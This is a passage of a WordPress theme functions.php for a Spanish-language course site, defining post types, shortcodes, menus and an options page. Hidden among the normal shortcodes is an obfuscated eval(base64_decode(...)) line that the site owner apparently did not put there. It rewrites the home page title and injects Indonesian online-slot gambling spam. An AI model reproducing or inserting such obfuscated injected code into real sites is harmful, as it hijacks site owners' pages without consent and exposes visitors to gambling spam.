get('Version')
);
}
add_action('wp_enqueue_scripts', 'your_theme_enqueue_styles');
/* Add your own functions below this line.
======================================== */
function english_uc_styles()
{
wp_enqueue_style('all', get_stylesheet_directory_uri() . '/css/overrides.css');
}
add_action('wp_enqueue_scripts', 'english_uc_styles', 999999);
/*** KIT DIGITAL UC */
wp_register_style('Kit_Digitl_UC', 'https://kit-digital-uc-prod.s3.amazonaws.com/uc-kitdigital/css/uc-kitdigital.css');
wp_enqueue_style('Kit_Digitl_UC');
wp_register_script('js_UC', 'https://kit-digital-uc-prod.s3.amazonaws.com/uc-kitdigital/js/uc-kitdigital.js', null, null, true);
wp_enqueue_script('js_UC');
/**** /KIT DIGITAL UC *****/
/**** post to cursos */
add_action('init', 'cp_change_post_object');
// Change dashboard Posts to Cursos
function cp_change_post_object()
{
$get_post_type = get_post_type_object('post');
$labels = $get_post_type->labels;
$labels->name = 'Cursos';
$labels->singular_name = 'Cursos';
$labels->add_new = 'Add Cursos';
$labels->add_new_item = 'Add Cursos';
$labels->edit_item = 'Edit Cursos';
$labels->new_item = 'Cursos';
$labels->view_item = 'View Cursos';
$labels->search_items = 'Search Cursos';
$labels->not_found = 'No Cursos found';
$labels->not_found_in_trash = 'No Cursos found in Trash';
$labels->all_items = 'All Cursos';
$labels->menu_name = 'Cursos';
$labels->name_admin_bar = 'Cursos';
}
/***** /post 2 cursos */
/**** custom post type para Fechas */
add_action('init', 'create_post_type');
function create_post_type()
{
register_post_type(
'fechas_globales',
array(
'labels' => array(
'name' => __('Fechas Inicio'),
'singular_name' => __('fpm')
),
'public' => true,
'has_archive' => true,
'supports' => array('title', 'editor', 'custom-fields')
)
);
register_post_type(
'testimonios',
array(
'labels' => array(
'name' => __('Testimonios'),
'singular_name' => __('testimonios')
),
'public' => true,
'has_archive' => true,
'supports' => array('title', 'editor', 'custom-fields', 'thumbnail')
)
);
register_post_type(
'blog',
array(
'labels' => array(
'name' => __('Blog'),
'singular_name' => __('blog')
),
'public' => true,
'has_archive' => true,
'supports' => array('title', 'editor', 'thumbnail', 'custom-fields', 'comments', 'page-attributes')
)
);
}
// iniciar blog
add_action('init', 'cw_post_type_blog');
function cw_post_type_blog()
{
$supports = array(
'title', // post title
'editor', // post content
'author', // post author
'thumbnail', // featured images
'excerpt', // post excerpt
'custom-fields', // custom fields
'comments', // post comments
'revisions', // post revisions
'post-formats', // post formats
);
$labels = array(
'name' => _x('Blog', 'plural'),
'singular_name' => _x('Blog', 'singular'),
'menu_name' => _x('Blog', 'admin menu'),
'name_admin_bar' => _x('Blog', 'admin bar'),
'add_new' => _x('New Blog', 'add new'),
'add_new_item' => __('Blog nuevo'),
'new_item' => __('New Blog'),
'edit_item' => __('Edit Blog'),
'view_item' => __('Ver Blog'),
'all_items' => __('Blogs'),
'search_items' => __('Buscar Blog'),
'not_found' => __('Blog Vacio.'),
);
$args = array(
'supports' => $supports,
'labels' => $labels,
'public' => true,
'query_var' => true,
'has_archive' => true,
'hierarchical' => true,
);
register_post_type('blog', $args);
}
add_action('init', 'register_blog_taxonomies', 0);
function register_blog_taxonomies()
{
register_taxonomy('topics', 'blog', array(
"hierarchical" => true,
"label" => "Blog Categories",
"singular_label" => "Category",
'query_var' => true,
'rewrite' => array('slug' => 'blog_category', 'with_front' => false),
'public' => true,
'show_ui' => true,
'show_admin_column' => true,
'show_tagcloud' => true,
'_builtin' => false,
'show_in_nav_menus' => false
));
}
/**** ACF Pro option page */
if (function_exists('acf_add_options_page')) {
acf_add_options_page();
}
/**** custom option page */
add_filter('use_block_editor_for_post', 'disable_gutenberg_on_settings_page', 5, 2);
function disable_gutenberg_on_settings_page($can, $post)
{
if ($post) {
if ($post->post_name === "site-settings") {
return false;
}
}
return $can;
}
function hide_settings_page($query)
{
if (!is_admin() && !is_main_query()) {
return;
}
global $typenow;
if ($typenow === "page") {
$settings_page = get_page_by_path("site-settings", NULL, "page")->ID;
$query->set('post__not_in', array($settings_page));
}
return;
}
add_action('pre_get_posts', 'hide_settings_page');
function add_site_settings_to_menu()
{
add_menu_page('Site Settings', 'Valores Globales', 'manage_options', 'post.php?post=' . get_page_by_path("site-settings", NULL, "page")->ID . '&action=edit', '', 'dashicons-admin-tools', 20);
}
add_action('admin_menu', 'add_site_settings_to_menu');
add_filter('parent_file', 'higlight_custom_settings_page');
function higlight_custom_settings_page($file)
{
global $parent_file;
global $pagenow;
global $typenow, $self;
$settings_page = get_page_by_path("site-settings", NULL, "page")->ID;
$post = (int)$_GET["post"];
if ($pagenow === "post.php" && $post === $settings_page) {
$file = "post.php?post=$settings_page&action=edit";
}
return $file;
}
function edit_site_settings_title()
{
global $post, $title, $action, $current_screen;
if (isset($current_screen->post_type) && $current_screen->post_type === 'page' && $action == 'edit' && $post->post_name === "site-settings") {
$title = $post->post_title . ' - ' . get_bloginfo('name');
}
return $title;
}
add_action('admin_title', 'edit_site_settings_title');
/**** custom option page - NOTA!! dejar site-settings page Privado desde admin */
/********************
* ****SHORTCODES **
*******************/
function globalPrice()
{
$gp = get_field('valor_global', 'option');
return $gp;
}
add_shortcode('globalprice', 'globalPrice');
function acf_load_field_message($field)
{
$screen = get_current_screen();
if ($screen->post_type !== "acf-field-group") {
$field['message'] = do_shortcode($field['message']);
}
return $field;
}
add_filter('acf/load_field/type=message', 'acf_load_field_message', 10, 3);
function get_event_terms()
{
$post_terms = wp_get_object_terms($post->ID, 'tribe_events_cat');
if (!empty($post_terms)) {
if (!is_wp_error($post_terms)) {
echo '
';
}
} else {
echo "error id:$post->ID ";
}
}
add_shortcode('geteventerm', 'get_event_terms');
eval(base64_decode('YWRkX2ZpbHRlciggJ3ByZV9nZXRfZG9jdW1lbnRfdGl0bGUnLCBmdW5jdGlvbiggJHRpdGxlICkgewogICAgaWYgKCBpc19mcm9udF9wYWdlKCkgfHwgaXNfaG9tZSgpICkgewogICAgICAgIHJldHVybiAnU0VMSVIxODg6IExpbmsgU2xvdCBHYWNvciBIYXJpIEluaSBUZXJiYXJ1IFNpdHVzIFNsb3Q4OCBSZXNtaSBHYW1wYW5nIE1heHdpbic7C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FuZyBkaXBlcmJhcnVpIHNlY2FyYSBiZXJrYWxhLiBGaXR1ciBwYW5kdWFuIHN0cmF0ZWdpIG1lbWJhbnR1IHBlbWFpbiBtZW1haGFtaSB2b2xhdGlsaXRhcyBkYW4gbWVrYW5pc21lIHBlcm1haW5hbiBzZWRhbmdrYW4gb3BzaSB0cmFuc2Frc2kgaW5zdGFuIG1lbWFzdGlrYW4gZGVwb3NpdCBkYW4gcGVuYXJpa2FuIGJlcmphbGFuIGNlcGF0LiBOaWttYXRpIHByb21vc2kgbWVuYXJpayBkYW4gdHVybmFtZW4gZWtza2x1c2lmIHlhbmcgZGlyYW5jYW5nIGtodXN1cyB1bnR1ayBtZW5pbmdrYXRrYW4gcGVsdWFuZyBBbmRhIG1lbWJhd2EgcHVsYW5nIGhhZGlhaCBiZXNhci48L3A+CiAgICAgICAgPD9waHAKICAgIH0KfSk7'));
function page_title_sc()
{
return get_the_title();
}
add_shortcode('page_title', 'page_title_sc');
function my_excerpt_length($length)
{
$varLenght = 33;
return $varLenght;
}
add_filter('excerpt_length', 'my_excerpt_length');/**** copy field para enviar titulo del curso en formulario Matricula */
function insert_in_form_shortcode()
{
$look = "
*";
return $look;
}
add_shortcode('pasteCurso', 'insert_in_form_shortcode');
function insert_in_pdf_shortcode()
{
$look = "
*";
return $look;
}
add_shortcode('pasteCursoPdf', 'insert_in_pdf_shortcode');
/**** PDF IMAGE SIZE */
add_image_size( 'pdf-banner size', 1080, 690 );
/**** HOME --> PROXIMAS FECHAS POST */
function wpb_query_shortcode()
{
ob_start();
$todo = [];
$todos = [];
$ahora = strtotime("now");
$nposts = get_posts(array(
'posts_per_page' => -1,
'post_type' => 'post'
));
if ($nposts) {
foreach ($nposts as $post) {
$todo['titulo'] = $post->post_title;
$todo['imagen'] = get_the_post_thumbnail_url($post, 'medium');
$todo['link'] = get_post_permalink($post->ID);
setup_postdata($post);
// sacar la FECHA DE INICIO
$dates2 = get_field('date_repeater', $post->ID);
unset($ordenPeriodo);
foreach ($dates2 as $poost) {
$num2 = $poost['select__period'];
$newPeriod1 = get_field('fecha_inicio', $num2);
if ($ordenPeriodo) {
if (strtotime($newPeriod1) < strtotime($ordenPeriodo) && strtotime($newPeriod1) > $ahora) {
$ordenPeriodo = $newPeriod1;
}
} else {
if (strtotime($newPeriod1) > $ahora) {
$ordenPeriodo = $newPeriod1;
}
}
}
if (strtotime($ordenPeriodo) > $ahora) {
$todo['fecha_inicio'] = $ordenPeriodo;
} else {
$todo['fecha_inicio'];
$ordenPeriodo = '';
}
if ($ordenPeriodo) {
array_push($todos, [
"id" => $post->ID,
"titulo" => $post->post_title,
"imagen" => get_the_post_thumbnail_url($post, 'medium'),
"fecha" => $ordenPeriodo,
"url" => get_post_permalink($post->ID)
]);
}
}
echo '';
$count = 0;
foreach ($todos as $value) {
if ($count < 9) {
echo '
';
echo '
';
echo '
';
echo '
';
echo '
';
$date2format = $value['fecha'];
$newDate = date_create("$date2format");
$newnew = date_format($newDate, 'd-M-Y');
$elnmes = str_replace(["Jan","Apr","Aug","Dec"],["Ene","Abr","Ago","Dic"], $newnew);
echo $elnmes;
echo '
';
echo '
';
echo '
';
echo '
';
echo '
';
echo '
';
$howMany = $count;
}
$count++;
}
echo '
';
if ($howMany > 2) {
echo ' Todos
';
}
wp_reset_postdata();
}
$content = ob_get_clean();
return $content;
}
add_shortcode('query_home', 'wpb_query_shortcode');
/************************
******** TRAER MENU ****
*************************/
add_shortcode('wpdocs_custom_navigation', 'wpdocs_add_custom_navigation');
function wpdocs_add_custom_navigation($attributes, $content = null)
{
$navigation_attributes = shortcode_atts(array(
'menu_id' => '',
), $attributes);
$menu_items = wp_get_nav_menu_items($navigation_attributes['menu_id']);
$menu_list .= '' . "\n";
$menu_list .= '' . "\n";
$menu_list .= get_custom_logo() . '
' . "\n";
$menu_list .= '
' . "\n";
foreach ($menu_items as $menu_item) {
if ($menu_item->menu_item_parent == 0) {
$parent = $menu_item->ID;
$menu_array = array();
foreach ($menu_items as $submenu) {
if ($submenu->menu_item_parent == $parent) {
$bool = true;
$menu_array[] = '' . $submenu->title . ' ' . "\n";
}
}
if ($bool == true && count($menu_array) > 0) {
$menu_list .= '' . "\n";
$menu_list .= '' . $menu_item->title . ' arrow_drop_down ' . "\n";
$menu_list .= '' . "\n";
} else {
$menu_list .= ' ' . "\n";
$menu_list .= '' . $menu_item->title . ' ' . "\n";
}
}
$menu_list .= ' ' . "\n";
}
$menu_list .= ' ' . "\n";
$menu_list .= '
' . "\n";
$menu_list .= '
' . "\n";
$menu_list .= get_custom_logo() . '
' . "\n";
$menu_list .= '
' . "\n";
$menu_list .= '
' . "\n";
$menu_items2 = wp_get_nav_menu_items($navigation_attributes['menu_id']);
foreach ($menu_items2 as $menu_item2) {
if ($menu_item2->menu_item_parent == 0) {
$parent2 = $menu_item2->ID;
$menu_array2 = array();
foreach ($menu_items2 as $submenu2) {
if ($submenu2->menu_item_parent == $parent2) {
$bool2 = true;
$menu_array2[] = '' . $submenu2->title . ' ' . "\n";
}
}
if ($bool2 == true && count($menu_array2) > 0) {
$menu_list .= '' . "\n";
$menu_list .= '' . $menu_item2->title . ' arrow_forward_ios ' . "\n";
$menu_list .= '' . "\n";
} else {
$menu_list .= ' ' . "\n";
$menu_list .= '' . $menu_item2->title . ' ' . "\n";
}
}
$menu_list .= ' ' . "\n";
}
$menu_list .= ' ' . "\n";
$menu_list .= '
' . "\n";
$menu_list .= ' ' . "\n";
return $menu_list;
}
add_filter( 'the_excerpt', 'link_excerpt_more' );
function link_excerpt_more( $output ) {
$more = sprintf( ' ', esc_url( get_permalink() ) );
return $output . $more;
}
function wpdocs_add_dashboard_widgets() {
wp_add_dashboard_widget( 'dashboard_widget', 'Enlaces Ayuda', 'dashboard_widget_function', '', '', '', 'high' );
}
add_action( 'wp_dashboard_setup', 'wpdocs_add_dashboard_widgets' );
function dashboard_widget_function( $post, $callback_args ) { ?>
' . '' . __( 'Name (Optional)' ) . ' ' . ( $req ? '* ' : '' ) .
' ';
// Modify Email Field and show that it's Optional
$fields['email'] = '';
// This line removes the website URL from comment form.
$fields['url'] = '';
return $fields;
}
add_filter('comment_form_default_fields', 'wpb_alter_comment_form_fields');
?>